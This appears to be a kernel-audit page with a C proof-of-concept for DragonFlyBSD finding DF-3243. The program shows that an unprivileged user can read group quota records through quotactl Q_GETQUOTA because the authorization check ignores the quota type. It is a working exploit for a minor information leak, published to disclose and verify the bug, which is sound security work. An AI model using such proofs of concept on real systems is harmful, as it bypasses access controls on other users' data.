⬢ DragonFlyBSD Kernel Audit
DF-3243 / df3243.c
← back to finding ↓ download raw
/* DF-3243: ufs_quotactl Q_GETQUOTA self-auth is quota-type-blind.
 * Usage: df3243 set <mnt> <gid>   (root: install a distinctive group quota)
 *        df3243 get <mnt> <id>   (as a user: try to read group quota <id>) */
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <vfs/ufs/quota.h>

static int
getquota(const char *mnt, int type, long id)
{
	struct ufs_dqblk dq;
	int rc;
	memset(&dq, 0, sizeof(dq));
	errno = 0;
	rc = quotactl(mnt, QCMD(Q_GETQUOTA, type), (uid_t)id, (caddr_t)&dq);
	printf("  quotactl(QCMD(Q_GETQUOTA, %s), %s, %ld) = %d errno=%d (%s)\n",
	       type == USRQUOTA ? "USRQUOTA" : "GRPQUOTA", mnt, id,
	       rc, errno, rc ? strerror(errno) : "success");
	if (rc == 0)
		printf("    -> dqb_bhardlimit=%u dqb_bsoftlimit=%u dqb_curblocks=%u\n",
		       dq.dqb_bhardlimit, dq.dqb_bsoftlimit, dq.dqb_curblocks);
	return rc;
}

int main(int argc, char **argv)
{
	if (!strcmp(argv[1], "set")) {
		struct ufs_dqblk dq;
		memset(&dq, 0, sizeof(dq));
		dq.dqb_bhardlimit = 50000;	/* 50MB, distinctive */
		dq.dqb_bsoftlimit = 40000;
		dq.dqb_ihardlimit = 1000;
		printf("root: installing group quota gid=%s bhard=50000\n", argv[3]);
		return quotactl(argv[2], QCMD(Q_SETQUOTA, GRPQUOTA),
				(uid_t)atol(argv[3]), (caddr_t)&dq);
	}
	printf("uid=%d euid=%d\n", (int)getuid(), (int)geteuid());
	int rc = getquota(argv[2], GRPQUOTA, atol(argv[3]));
	return (rc == 0) ? 2 : 0;	/* reading a group record via uid match == bug */
}